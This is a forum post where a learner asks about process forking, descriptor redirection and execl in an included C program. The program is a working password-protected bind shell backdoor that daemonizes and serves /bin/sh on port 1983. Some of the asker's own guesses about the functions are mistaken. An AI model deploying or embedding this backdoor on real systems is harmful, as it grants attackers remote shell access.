Hello everyone,

I am trying to fully understand the program below. I virtually understand all of it but I have a few questions relating to the use of fork(), exit() and !strncmp.

I'm going to explain what I think is going on in the lines of code that have me a bit confused, I will refer to each question by which line(s) they refer to.

On lines 27 to 29, it seems the parent process creates a child process and then commits suicide. Then init takes over the child process. I'm guessing this is done to enable the program to run in the background instead of hanging after doing a './prog'. When the child process is created does it begin reading the code at line 30 or does it start from line 1? Also, in the child process fork() = 0 right? fork() < 0 = error forking, fork() = 0 means child, and fork() > 0 means parent?

On lines 31 to 38, it seems the (1) in the while statement creates an infiniate loop. The parent process never get's to read these lines of code because it commited suicide on line 28 right? I would think that means the child process will be first to read lines 31 to 38. And if fork() = 0 because it's child process the 'if (fork() != 0)' on line 33 wouldn't be true right? So unless a fork() < 0 error occured or fork() > 0 means parent occured lines 34 and 35 won't get read and the while will go accept to close accept to close...?

Yet, when a connection is made to the server the '(fork() != 0)' is ran and the child process is no longer 'prog' but 'sh'. The fork() statment creates a child from the child which is 'prog' again.

Ah, I'm probably making no sense here. I guess what I'm really asking is what the heck is going on in lines 31 to 38, what is the sequence code is read and is it parent or child?

What is happening in lines 56 to 58? Something relating to stdout, stdin and stderr?

Line 59, execl() means exe and leave. Does that mean /bin/sh is ran and immediately following the exit() causes entire process to commit suicide? Or does /bin/sh run and process holds until /bin/sh is closed then the exit() is run?

I knew nothing about any of these functions yesterday, I've been reading online. Sorry for so many questions, just trying to build a solid foundation on what is going on here.

Thank you everyone.


Code:
1  /***********************************
2   * simple linux remote access tool *
3   ***********************************/
4  #include <strings.h>
5  #include <stdio.h>
6  #include <stdlib.h>
7  #include <sys/types.h>
8  #include <sys/socket.h>
9  #include <netinet/in.h>
10 #include <unistd.h>
11
12 #define port 1983
13 #define shell "/bin/sh"
14
15 int main()
16 {
17	int master_socket, in_socket, addrlen;
18	struct sockaddr_in address;
19	address.sin_family      = AF_INET;
20	address.sin_addr.s_addr = INADDR_ANY;
21	address.sin_port        = htons(port);
22	master_socket = socket(AF_INET, SOCK_STREAM, 0);
23	bind(master_socket, (struct sockaddr *) &address, sizeof(address));
24	listen(master_socket, 3);
25	addrlen = sizeof(address);
26
27	if (fork() != 0) {
28		exit(0);
29	}
30
31	while (1) {
32		in_socket = accept(master_socket, (struct sockaddr *) &address, &addrlen);
33		if (fork() != 0) {
34			close(master_socket);
35			rshell(in_socket);
36		}
37		close(in_socket);
38	}
39	return 1;
40 }
41
42 void rshell(in_sock)
43 {
44	char buf[150];
45	char passwd[] = "somepasswd";
46	char pass[]    = "Enter Password:";
47	char success[] = "Login Successful...";
48	char failure[] = "Login Unsuccessful...";
49
50	write(in_sock, pass, sizeof(pass));
51	read(in_sock, buf, sizeof(buf));
52
53	if (!strncmp(buf, passwd, strlen(passwd))) {
54		write(in_sock, success, sizeof(success));
55		chdir("/");
56		dup2(in_sock, 0);
57		dup2(in_sock, 1);
58		dup2(in_sock, 2);
59		execl(shell, shell, (char *) 0);
60		close(in_sock);
61		exit(0);
62	} else {
63		write(in_sock, failure, sizeof(failure));
64		close(in_sock);
65		exit(0);
66	}
67	close(in_sock);
68	exit(0);
69 }
70